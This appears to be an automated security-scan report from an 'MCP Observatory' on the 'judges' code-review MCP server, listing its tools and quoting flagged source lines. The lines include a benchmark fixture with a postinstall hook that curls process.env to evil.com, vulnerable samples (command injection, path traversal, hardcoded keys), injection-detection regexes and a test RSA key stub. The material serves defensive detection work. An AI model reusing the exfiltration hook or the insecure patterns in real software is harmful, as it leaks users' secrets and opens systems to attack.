MCP Observatory
46s ago Tracked 59,450 Last 46s ago 24h 2,448
github analyzed 8432a66

KevinRabun/judges

github

45 judges that evaluate AI-generated code for security, cost, and quality with built-in AST.

maintainer
KevinRabun
licence
—
first seen
2026-06-03
last seen
2026-06-03
releases · 30d
0
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 32 tools
transport stdio · http verified reported listed in the official MCP registry counts 32 tools · 0 res · 0 prompts permission surface via code analysis

tools

  • analyze_dependencies
  • benchmark_gate
  • evaluate_app_builder_flow
  • evaluate_batch
  • evaluate_code
  • evaluate_code_single_judge
  • evaluate_code_streaming
  • evaluate_diff
  • evaluate_file
  • evaluate_focused
  • evaluate_git_diff
  • evaluate_policy_aware
  • evaluate_project
  • evaluate_public_repo_report
  • evaluate_then_fix
  • evaluate_with_progress
  • explain_finding
  • fix_code
  • get_finding_stats
  • get_judges
  • get_suppression_analytics
  • judges_evaluate
  • list_files
  • list_triaged_findings
  • re_evaluate_with_context
  • read_file
  • record_feedback
  • run_benchmark
  • scaffold_judge
  • scaffold_plugin
  • session_status
  • triage_finding
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 8432a66 · analyzer v33 · 2w ago

skills & prompt files 5

danger signals41

code evidence vHEAD · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 1023

filesystem 248

  • fs KevinRabun-judges-8432a66/content/snippets/javascript/js-05-path-traversal.js :1 const fs = require("fs");
  • fs KevinRabun-judges-8432a66/content/snippets/typescript/ts-05-path-traversal.ts :1 import { readFileSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/examples/demo.ts :13 import { readFileSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/examples/generate-reports.ts :7 import { readFileSync, writeFileSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/examples/sample-vulnerable-api.ts :12 import fs from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/copilot-llm-benchmark.ts :24 import { writeFileSync, readFileSync, mkdirSync, existsSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/daily-popular-repo-autofix.ts :4 import { existsSync, mkdtempSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/debug-classify.ts :2 import { readFileSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/export-to-martian.ts :16 import { readFileSync, writeFileSync, readdirSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/generate-agents-from-judges.ts :9 import { writeFileSync, mkdirSync, existsSync } from "node:fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/generate-linkedin-snippets.ts :17 import { readFileSync, writeFileSync, readdirSync, mkdirSync, existsSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/generate-skills-docs.ts :3 import { writeFileSync } from "node:fs";
show 28 more
  • fs (weak) KevinRabun-judges-8432a66/scripts/hill-climb-benchmark.ts :27 import { writeFileSync, readFileSync, mkdirSync, existsSync, unlinkSync } from "node:fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/prepare-cli-package.mjs :1 import { cpSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/prepare-openssf-l2-cases.ts :12 import { readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/run-local-llm-benchmark.ts :21 import { writeFileSync, mkdirSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/run-tests-with-coverage.mjs :2 import { readFile } from 'node:fs/promises';
  • fs (weak) KevinRabun-judges-8432a66/scripts/self-eval.ts :6 import { readFileSync, readdirSync, statSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/sync-docs.ts :14 import { readFileSync, writeFileSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/sync-wiki.ts :18 import { readFileSync, writeFileSync, existsSync } from "fs";
  • fs (weak) KevinRabun-judges-8432a66/scripts/validate-agents.ts :11 import { existsSync, readdirSync } from "node:fs";
  • fs KevinRabun-judges-8432a66/src/agent-loader.ts :38 import { readFileSync, readdirSync, existsSync } from "node:fs";
  • fs KevinRabun-judges-8432a66/src/ast/taint-tracker.ts :57 | "path-traversal" // fs.readFile with user input
  • fs KevinRabun-judges-8432a66/src/ast/tree-sitter-ast.ts :17 import { existsSync, mkdirSync, renameSync, unlinkSync, writeFileSync } from "node:fs";
  • fs KevinRabun-judges-8432a66/src/audit-trail.ts :19 import { appendFileSync, readFileSync, existsSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/cli-formatters.ts :1 import { mkdirSync, writeFileSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/cli-helpers.ts :1 import { existsSync, readdirSync, statSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/cli.ts :25 import { readFileSync, existsSync, writeFileSync, readdirSync, statSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/adoption-report.ts :8 import { readFileSync, existsSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/adoption-track.ts :5 import { readFileSync, readdirSync, statSync, existsSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/ai-gate.ts :8 import { existsSync, readFileSync, readdirSync, mkdirSync, writeFileSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/ai-model-trust.ts :8 import { readFileSync, writeFileSync, existsSync, mkdirSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/ai-output-compare.ts :9 import { existsSync, readFileSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/ai-pattern-trend.ts :9 import { existsSync, readFileSync, readdirSync, mkdirSync, writeFileSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/ai-prompt-audit.ts :8 import { readFileSync, writeFileSync, existsSync, mkdirSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/ai-provenance.ts :5 import { readFileSync, readdirSync, statSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/api-audit.ts :9 import { existsSync, readFileSync, readdirSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/api-misuse.ts :5 import { readFileSync, readdirSync, statSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/api-versioning-audit.ts :6 import { readFileSync, readdirSync, statSync, existsSync } from "fs";
  • fs KevinRabun-judges-8432a66/src/commands/approve-chain.ts :8 import { existsSync, readFileSync, writeFileSync, mkdirSync } from "fs";

208 more not shown — this panel samples each group; the count above is the real total.

shell / exec 64

  • shell KevinRabun-judges-8432a66/content/snippets/javascript/js-04-command-injection.js :1 const { execSync } = require("child_process");
  • shell (weak) KevinRabun-judges-8432a66/scripts/check-agents.ts :9 import { execSync } from "node:child_process";
  • shell (weak) KevinRabun-judges-8432a66/scripts/daily-popular-repo-autofix.ts :3 import { execFileSync } from "child_process";
  • shell (weak) KevinRabun-judges-8432a66/scripts/prepare-openssf-l2-cases.ts :14 import { execSync } from "child_process";
  • shell (weak) KevinRabun-judges-8432a66/scripts/run-tests-with-coverage.mjs :1 import { spawn } from 'node:child_process';
  • shell (weak) KevinRabun-judges-8432a66/scripts/sync-wiki.ts :20 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/ast/cross-file-taint.ts :177 // export function processInput(userInput: string) { exec(userInput); }
  • shell KevinRabun-judges-8432a66/src/commands/auto-fix.ts :63 before: 'exec("git " + command)',
  • shell KevinRabun-judges-8432a66/src/commands/batch-review.ts :44 { name: "command-injection", severity: "critical", regex: /exec(?:Sync)?\s*\(\s*`[^`]*\$\{/ },
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-advanced.ts :2387 code: `import { execSync } from "child_process";
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-ai-agents.ts :480 return execSync(command).toString();
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-compliance-ethics.ts :1857 code: `import { execSync } from "child_process";
show 28 more
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-coverage-gaps.ts :839 "postinstall": "node -e \\"require('child_process').exec('curl https://evil.com/collect?data='+encodeURIComponent(JSON.stringify({cwd:process.cwd(),env:process.env})))\\"",
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded-2.ts :3994 exec(f"output = f'{greeting}, {name}!'")
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded.ts :1801 await exec(\`aws configure set aws_access_key_id \${DEPLOY_CONFIG.awsAccessKeyId}\`);
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-languages.ts :385 $this->pdo->exec($sql);
  • shell (weak) KevinRabun-judges-8432a66/src/commands/benchmark-security-deep.ts :1513 description: "Python exec() with user code — RCE",
  • shell KevinRabun-judges-8432a66/src/commands/benchmark.ts :260 code: `import { exec } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/burndown.ts :41 const { execSync } = require("child_process");
  • shell KevinRabun-judges-8432a66/src/commands/coach-mode.ts :100 "BEFORE: `execSync('convert ' + filename)`\nAFTER: `spawn('convert', [filename])`\n\nUse array-based APIs. Validate inputs against allowlists. Never pass user input to exec().",
  • shell KevinRabun-judges-8432a66/src/commands/commit-hygiene.ts :6 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/dep-audit.ts :15 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/diff-review.ts :6 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/doc-gen.ts :102 example: "execFile('git', ['log', '--oneline'], callback)",
  • shell KevinRabun-judges-8432a66/src/commands/finding-hotfix-suggest.ts :68 hotfix: "Use execFile() with argument arrays instead of exec() with string interpolation",
  • shell KevinRabun-judges-8432a66/src/commands/finding-security-hotspot.ts :68 description: "Use of exec()",
  • shell KevinRabun-judges-8432a66/src/commands/finding-timeline.ts :6 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/finding-trace.ts :7 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/fix-pr.ts :17 import { execFileSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/fix.ts :166 const { execFileSync } = require("node:child_process");
  • shell KevinRabun-judges-8432a66/src/commands/focus-area.ts :35 { name: "command-injection", weight: 10, regex: /exec(?:Sync)?\s*\(\s*`[^`]*\$\{/ },
  • shell KevinRabun-judges-8432a66/src/commands/learn.ts :68 "Write a safe exec() wrapper with argument allowlisting",
  • shell KevinRabun-judges-8432a66/src/commands/martian-code-review-benchmark.ts :18 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/openssf-cve-benchmark.ts :21 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/policy-audit.ts :66 const { execSync } = require("child_process");
  • shell KevinRabun-judges-8432a66/src/commands/pr-summary.ts :175 const { execSync } = await import("child_process");
  • shell KevinRabun-judges-8432a66/src/commands/regression-alert.ts :44 const { execSync } = require("child_process");
  • shell KevinRabun-judges-8432a66/src/commands/remediation.ts :73 "Never pass user input directly to child_process.exec()",
  • shell KevinRabun-judges-8432a66/src/commands/review-checkpoint.ts :6 import { execSync } from "child_process";
  • shell KevinRabun-judges-8432a66/src/commands/review-ci-status.ts :7 import { execSync } from "child_process";

24 more not shown — this panel samples each group; the count above is the real total.

network 50

  • net KevinRabun-judges-8432a66/content/snippets/typescript/ts-03-hardcoded-secret.ts :3 return fetch("/api", {
  • net (weak) KevinRabun-judges-8432a66/examples/sample-vulnerable-api.ts :57 const externalData = await fetch("https://api.example.com/data");
  • net KevinRabun-judges-8432a66/src/ast/tree-sitter-ast.ts :119 const response = await fetch(`${GRAMMAR_BASE_URL}/${file}`);
  • net KevinRabun-judges-8432a66/src/commands/api-misuse.ts :100 issue: "fetch() without status check",
  • net KevinRabun-judges-8432a66/src/commands/auto-fix.ts :95 before: "await fetch(userUrl)",
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-advanced.ts :279 case "click": console.log("click"); fetch("/track", { method: "POST", body: JSON.stringify({ type, data, ts: Date.now() }) }); break;
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-ai-agents.ts :266 const data = await fetch(\`/api/search?q=\${debouncedQuery}\`);
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-compliance-ethics.ts :397 const weather = await fetch(\`https://api.weather.com/\${location}\`);
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-coverage-gaps.ts :127 import fetch from "node-fetch";
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded-2.ts :1313 fetch(\`/api/posts/\${postId}/comments\`)
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded.ts :325 return $stmt->fetch();
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-infrastructure.ts :347 import axios from "axios";
show 28 more
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-languages.ts :439 return $stmt->fetch() ?: null;
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-quality-ops.ts :1048 code: `import axios from "axios";
  • net (weak) KevinRabun-judges-8432a66/src/commands/benchmark-security-deep.ts :1207 const response = await fetch("http://api.production.com/auth/login", {
  • net KevinRabun-judges-8432a66/src/commands/benchmark.ts :232 fetch("https://api.example.com", {
  • net KevinRabun-judges-8432a66/src/commands/coach-mode.ts :80 "BEFORE: `fetch('http://api.example.com/data')`\nAFTER: `fetch('https://api.example.com/data')`\n\nAlways use HTTPS. Enable HSTS headers. Reject HTTP in production.",
  • net KevinRabun-judges-8432a66/src/commands/config-share.ts :466 const response = await fetch(url);
  • net KevinRabun-judges-8432a66/src/commands/generate.ts :123 const resp = await fetch("/api/login", {
  • net KevinRabun-judges-8432a66/src/commands/martian-code-review-benchmark.ts :214 const result = execSync(`node -e "fetch('${diffUrl}').then(r=>r.text()).then(t=>process.stdout.write(t))"`, {
  • net KevinRabun-judges-8432a66/src/commands/notify.ts :231 const response = await fetch(channel.url, {
  • net KevinRabun-judges-8432a66/src/commands/pr-summary.ts :109 const res = await fetch(url, {
  • net KevinRabun-judges-8432a66/src/commands/prompt-replay.ts :183 fetch("http://api.example.com/data");
  • net KevinRabun-judges-8432a66/src/commands/review.ts :357 if (!fetchImpl) throw new Error("fetch() not available. Run on Node 18+ or polyfill fetch.");
  • net KevinRabun-judges-8432a66/src/commands/snippet-eval.ts :189 fetch("http://api.example.com/data");
  • net KevinRabun-judges-8432a66/src/commands/ticket-sync.ts :54 const res = await fetch(url, {
  • net KevinRabun-judges-8432a66/src/commands/upload.ts :102 const response = await fetch(apiUrl, {
  • net KevinRabun-judges-8432a66/src/data-adapter.ts :216 const resp = await fetch(`${this.baseUrl}${path}`, { headers: this.headers });
  • net KevinRabun-judges-8432a66/src/evaluators/cybersecurity.ts :875 // fetch(variable) where variable was assigned from req.* in surrounding lines
  • net KevinRabun-judges-8432a66/src/evaluators/database.ts :105 // fetch(), Array.find(), or DOM .select() inside loops is not N+1 DB access.
  • net KevinRabun-judges-8432a66/src/evaluators/dependency-health.ts :58 "Replace the deprecated import with its modern alternative, e.g. change `require('request')` to `require('node-fetch')` or `require('axios')`.",
  • net KevinRabun-judges-8432a66/src/evaluators/framework-safety.ts :349 "Use secrets server-side only: const data = await fetch(url, { headers: { Authorization: process.env.API_KEY } }); return { props: { data } };",
  • net KevinRabun-judges-8432a66/src/evaluators/hallucination-detection.ts :143 // fetch().body.json() — incorrect, it's fetch().then(r => r.json())
  • net KevinRabun-judges-8432a66/src/evaluators/performance.ts :148 "Cache or deduplicate: const cached = cache.get(url) ?? await fetch(url); cache.set(url, cached); or use a request deduplication layer.",
  • net KevinRabun-judges-8432a66/src/evaluators/rate-limiting.ts :112 "Add retry with backoff: pRetry(() => fetch(url), { retries: 3 }) (JS), @retry(stop=stop_after(3)) (Python), .AddPolicyHandler(GetRetryPolicy()) (C#).",
  • net KevinRabun-judges-8432a66/src/evaluators/reliability.ts :74 "Add timeout: const controller = new AbortController(); setTimeout(() => controller.abort(), 5000); fetch(url, { signal: controller.signal });",
  • net KevinRabun-judges-8432a66/src/evaluators/scalability.ts :120 "Add a timeout option to the HTTP call (e.g., `fetch(url, { signal: AbortSignal.timeout(5000) })`) to prevent indefinite hangs.",
  • net KevinRabun-judges-8432a66/src/evaluators/security.ts :264 // Direct: fetch(req.query.url) / axios.get(req.body.url)
  • net KevinRabun-judges-8432a66/src/github-app.ts :25 import { createServer, type IncomingMessage, type ServerResponse } from "http";
  • net (weak) KevinRabun-judges-8432a66/tests/cybersecurity.test.ts :330 const code = `const resp = await fetch(req.query.url);`;

10 more not shown — this panel samples each group; the count above is the real total.

secrets 39

  • secrets KevinRabun-judges-8432a66/content/snippets/javascript/js-01-auth-bypass.js :2 return token === process.env.ADMIN_TOKEN;
  • secrets (weak) KevinRabun-judges-8432a66/scripts/daily-popular-repo-autofix.ts :239 if (process.env.GH_TOKEN?.trim() || process.env.GITHUB_TOKEN?.trim()) {
  • secrets (weak) KevinRabun-judges-8432a66/scripts/debug-verdict.ts :48 const token = jwt.sign({ sub: user.id, role: user.role }, process.env.JWT_SECRET!, {
  • secrets (weak) KevinRabun-judges-8432a66/scripts/hill-climb-benchmark.ts :413 const apiKey = process.env.ANTHROPIC_API_KEY;
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-advanced.ts :1657 const stripeKey = process.env.STRIPE_KEY;
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-ai-agents.ts :28 encryptField(user, "ssn", process.env.ENCRYPTION_KEY);
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-compliance-ethics.ts :300 writeKey: process.env.ANALYTICS_KEY!,
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-coverage-gaps.ts :317 const CLIENT_SECRET = process.env.OAUTH_CLIENT_SECRET;
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded-2.ts :423 const decoded = jwt.verify(token, process.env.JWT_SECRET, {
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded.ts :2623 if (!verifyApiKey(apiKey, process.env.API_KEY!)) {
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-infrastructure.ts :256 apiKey: process.env.API_KEY,
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-multi-file.ts :55 req.user = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ["HS256"] });
show 27 more
  • secrets (weak) KevinRabun-judges-8432a66/src/commands/benchmark-security-deep.ts :1162 const WEBHOOK_SECRET = process.env.WEBHOOK_SECRET!;
  • secrets KevinRabun-judges-8432a66/src/commands/benchmark.ts :400 const token = jwt.sign({ sub: user.id }, process.env.JWT_SECRET!, { expiresIn: "1h" });
  • secrets KevinRabun-judges-8432a66/src/commands/coach-mode.ts :50 "BEFORE: `const apiKey = 'sk-1234567890abcdef'`\nAFTER: `const apiKey = process.env.API_KEY`\n\nUse environment variables, .env files (gitignored), or a secrets manager (AWS SSM, HashiCorp Vault).",
  • secrets KevinRabun-judges-8432a66/src/commands/doc-gen.ts :107 example: "const apiKey = process.env.API_KEY",
  • secrets KevinRabun-judges-8432a66/src/commands/finding-auto-fix.ts :48 snippet: "// Before: const apiKey = 'sk-abc123'\n// After: const apiKey = process.env.API_KEY",
  • secrets KevinRabun-judges-8432a66/src/commands/fix-pr.ts :69 return process.env.GITHUB_TOKEN || process.env.GH_TOKEN;
  • secrets KevinRabun-judges-8432a66/src/commands/fix-suggest.ts :46 after: "const API_KEY = process.env.API_KEY;",
  • secrets KevinRabun-judges-8432a66/src/commands/pr-summary.ts :200 const token = argv.find((_a: string, i: number) => argv[i - 1] === "--token") || process.env.GITHUB_TOKEN || "";
  • secrets KevinRabun-judges-8432a66/src/commands/remediation-lib.ts :111 after: "const API_KEY = process.env.API_KEY || ''",
  • secrets KevinRabun-judges-8432a66/src/commands/review.ts :198 return process.env.GITHUB_TOKEN || process.env.GH_TOKEN;
  • secrets KevinRabun-judges-8432a66/src/commands/ticket-sync.ts :208 process.env.JUDGES_TICKET_TOKEN ||
  • secrets KevinRabun-judges-8432a66/src/commands/upload.ts :183 const token = argv.find((_a, i) => argv[i - 1] === "--token") || process.env.GITHUB_TOKEN || "";
  • secrets KevinRabun-judges-8432a66/src/evaluators/authentication.ts :326 "Add JWT verification: const payload = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'], issuer: 'myapp', audience: 'myapp' });",
  • secrets KevinRabun-judges-8432a66/src/evaluators/cybersecurity.ts :517 "Move credentials to environment variables: const adminPass = process.env.ADMIN_PASSWORD; and provision via secrets manager.",
  • secrets KevinRabun-judges-8432a66/src/evaluators/data-security.ts :403 "Load encryption keys from a KMS or env var: const key = Buffer.from(process.env.ENCRYPTION_KEY, 'base64'); and generate IVs with crypto.randomBytes(16).",
  • secrets KevinRabun-judges-8432a66/src/evaluators/database.ts :301 "Use env vars: const client = new Client({ host: process.env.DB_HOST, user: process.env.DB_USER, password: process.env.DB_PASSWORD });",
  • secrets KevinRabun-judges-8432a66/src/evaluators/false-positive-review.ts :1268 // keyword = process.env.KEY or keyword = os.environ[...]
  • secrets KevinRabun-judges-8432a66/src/evaluators/framework-safety.ts :349 "Use secrets server-side only: const data = await fetch(url, { headers: { Authorization: process.env.API_KEY } }); return { props: { data } };",
  • secrets KevinRabun-judges-8432a66/src/github-app.ts :413 if (process.env.OPENAI_API_KEY && config.llmDeepReview !== false) {
  • secrets KevinRabun-judges-8432a66/src/patches/index.ts :258 return { oldText: m[0], newText: `jwt.verify(${m[1]}, process.env.JWT_SECRET)` };
  • secrets (weak) KevinRabun-judges-8432a66/tests/config-ext.test.ts :19 process.env.FOO_TOKEN = "secret";
  • secrets (weak) KevinRabun-judges-8432a66/tests/cybersecurity.test.ts :498 secret: process.env.SECRET,
  • secrets (weak) KevinRabun-judges-8432a66/tests/github-app-ext.test.ts :26 process.env.JUDGES_PRIVATE_KEY = `-----BEGIN RSA PRIVATE KEY-----\nMIIBOwIBAAJBAKGec4TxGM0kjYBAtHxn7WpfT8J5cGAcSO4QUMflvlaf986JvS2W\nzRLbBZSMT/QmUWoj+nGzJfFX9mRRsQO6FlgCAwEAAQJAXHmozMr//hSuhPFXPqeh\nI
  • secrets (weak) KevinRabun-judges-8432a66/tests/judges.test.ts :2131 const openai = new OpenAI({ apiKey: process.env.OPENAI_API_KEY });
  • secrets (weak) KevinRabun-judges-8432a66/tests/negative.test.ts :97 const token = jwt.sign({ sub: user.id, role: user.role }, process.env.JWT_SECRET!, {
  • secrets (weak) KevinRabun-judges-8432a66/tests/review.test.ts :29 process.env.OPENAI_API_KEY = "test-key";
  • secrets (weak) KevinRabun-judges-8432a66/tests/subsystems.test.ts :180 " jwt.verify(req.body.token, process.env.JWT_SECRET);",

database 13

  • db KevinRabun-judges-8432a66/content/snippets/javascript/js-03-hardcoded-secret.js :3 return require("pg").Pool({
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-advanced.ts :1363 code: `import { Client } from "pg";
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-ai-agents.ts :2127 code: `import { PrismaClient } from "@prisma/client";
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded-2.ts :664 const { MongoClient } = require('mongodb');
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded.ts :1270 import { MongoClient } from "mongodb";
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-infrastructure.ts :312 code: `import { Pool } from "pg";
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-multi-file.ts :70 content: `import { Pool } from "pg";
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-quality-ops.ts :307 code: `import { Pool } from "pg";
  • db (weak) KevinRabun-judges-8432a66/src/commands/benchmark-security-deep.ts :145 import { MongoClient } from "mongodb";
  • db (weak) KevinRabun-judges-8432a66/tests/judges.test.ts :12143 import { Pool } from "pg";
  • db (weak) KevinRabun-judges-8432a66/tests/language-coverage.test.ts :207 import { Pool } from "pg";
  • db (weak) KevinRabun-judges-8432a66/tests/negative.test.ts :2355 'import { Pool } from "pg";',
show 1 more
  • db (weak) KevinRabun-judges-8432a66/tests/openssf-cve-benchmark.test.ts :505 +const db = require("mysql");

tool registrations 32

  • get_judges KevinRabun-judges-8432a66/src/tools/register-evaluation.ts :42
  • evaluate_code KevinRabun-judges-8432a66/src/tools/register-evaluation.ts :81
  • evaluate_code_single_judge KevinRabun-judges-8432a66/src/tools/register-evaluation.ts :195
  • evaluate_policy_aware KevinRabun-judges-8432a66/src/tools/register-evaluation.ts :299
  • evaluate_file KevinRabun-judges-8432a66/src/tools/register-evaluation.ts :506
  • evaluate_code_streaming KevinRabun-judges-8432a66/src/tools/register-evaluation.ts :617
  • fix_code KevinRabun-judges-8432a66/src/tools/register-fix.ts :28
  • explain_finding KevinRabun-judges-8432a66/src/tools/register-review.ts :108
  • triage_finding KevinRabun-judges-8432a66/src/tools/register-review.ts :193
  • get_finding_stats KevinRabun-judges-8432a66/src/tools/register-review.ts :279
  • get_suppression_analytics KevinRabun-judges-8432a66/src/tools/register-review.ts :366
  • list_triaged_findings KevinRabun-judges-8432a66/src/tools/register-review.ts :422
show 20 more
  • re_evaluate_with_context KevinRabun-judges-8432a66/src/tools/register-review.ts :493
  • scaffold_judge KevinRabun-judges-8432a66/src/tools/register-scaffold.ts :33
  • scaffold_plugin KevinRabun-judges-8432a66/src/tools/register-scaffold.ts :285
  • evaluate_public_repo_report KevinRabun-judges-8432a66/src/tools/register-workflow.ts :56
  • evaluate_app_builder_flow KevinRabun-judges-8432a66/src/tools/register-workflow.ts :203
  • evaluate_project KevinRabun-judges-8432a66/src/tools/register-workflow.ts :352
  • evaluate_diff KevinRabun-judges-8432a66/src/tools/register-workflow.ts :463
  • analyze_dependencies KevinRabun-judges-8432a66/src/tools/register-workflow.ts :545
  • benchmark_gate KevinRabun-judges-8432a66/src/tools/register-workflow.ts :621
  • run_benchmark KevinRabun-judges-8432a66/src/tools/register-workflow.ts :660
  • evaluate_batch KevinRabun-judges-8432a66/src/tools/register-workflow.ts :745
  • evaluate_then_fix KevinRabun-judges-8432a66/src/tools/register-workflow.ts :831
  • evaluate_focused KevinRabun-judges-8432a66/src/tools/register-workflow.ts :932
  • session_status KevinRabun-judges-8432a66/src/tools/register-workflow.ts :1018
  • record_feedback KevinRabun-judges-8432a66/src/tools/register-workflow.ts :1088
  • evaluate_git_diff KevinRabun-judges-8432a66/src/tools/register-workflow.ts :1124
  • list_files KevinRabun-judges-8432a66/src/tools/register-workspace.ts :95
  • read_file KevinRabun-judges-8432a66/src/tools/register-workspace.ts :133
  • evaluate_with_progress KevinRabun-judges-8432a66/src/tools/register-workspace.ts :216
  • judges_evaluate KevinRabun-judges-8432a66/vscode-extension/src/lm-tool.ts :31

install hooks 2

  • prepublishOnly KevinRabun-judges-8432a66/package.json :110 npm run build
  • prepare KevinRabun-judges-8432a66/package.json :111 husky

declared dependencies 16

  • @modelcontextprotocol/sdk@^1.26.0
  • typescript@^5.9.3
  • web-tree-sitter@^0.26.6
  • zod@^4.3.6
  • @anthropic-ai/sdk@^0.81.0
  • @eslint/js@^10.0.1
  • @types/node@^25.3.0
  • @typescript-eslint/eslint-plugin@^8.56.1
  • @typescript-eslint/parser@^8.56.1
  • c8@^11.0.0
  • eslint@^10.0.2
  • eslint-config-prettier@^10.1.8
show 4 more
  • husky@^9.1.7
  • lint-staged@^16.2.7
  • prettier@^3.8.1
  • tsx@^4.19.4

perm:untrusted 10

  • untrusted KevinRabun-judges-8432a66/src/commands/api-misuse.ts :102 detail: "fetch() doesn't reject on HTTP errors — check `response.ok` before calling `.json()`",
  • untrusted (weak) KevinRabun-judges-8432a66/src/commands/benchmark-advanced.ts :2393 fetch: (url: string) => fetch(url).then(r => r.text()),
  • untrusted (weak) KevinRabun-judges-8432a66/src/commands/benchmark-ai-agents.ts :562 return fetch(url).then(r => r.text());
  • untrusted (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded-2.ts :4907 const price = await fetch('https://api.pricing.com/widget').then(r => r.json());
  • untrusted (weak) KevinRabun-judges-8432a66/src/commands/benchmark-expanded.ts :1703 const user = await fetch(\`/api/users/\${id}\`).then(r => r.json());
  • untrusted (weak) KevinRabun-judges-8432a66/src/commands/benchmark-infrastructure.ts :1869 const product = await fetch(\`http://product-service/products/\${productId}\`).then(r => r.json());
  • untrusted KevinRabun-judges-8432a66/src/commands/martian-code-review-benchmark.ts :214 const result = execSync(`node -e "fetch('${diffUrl}').then(r=>r.text()).then(t=>process.stdout.write(t))"`, {
  • untrusted KevinRabun-judges-8432a66/src/evaluators/hallucination-detection.ts :146 hallucinated: "fetch().body.json()",
  • untrusted (weak) KevinRabun-judges-8432a66/tests/judges.test.ts :2990 return pRetry(() => fetch(url).then(r => r.json()), {
  • untrusted (weak) KevinRabun-judges-8432a66/tests/subsystems.test.ts :1515 "const payload = fetch(url).body.json();",

transport_posture 9

  • binds all interfaces (0.0.0.0) KevinRabun-judges-8432a66/src/commands/benchmark-ai-agents.ts :791 app.listen(process.env.PORT || 3000, "0.0.0.0", () => {
  • binds all interfaces (0.0.0.0) KevinRabun-judges-8432a66/src/commands/benchmark-security-deep.ts :1257 app.run(debug=True, host='0.0.0.0', port=80)`,
  • network-listening, binds all interfaces, no auth detected KevinRabun-judges-8432a66/tests/evaluator-deep2.test.ts :250 const code = 'app.listen(3000, "0.0.0.0");';
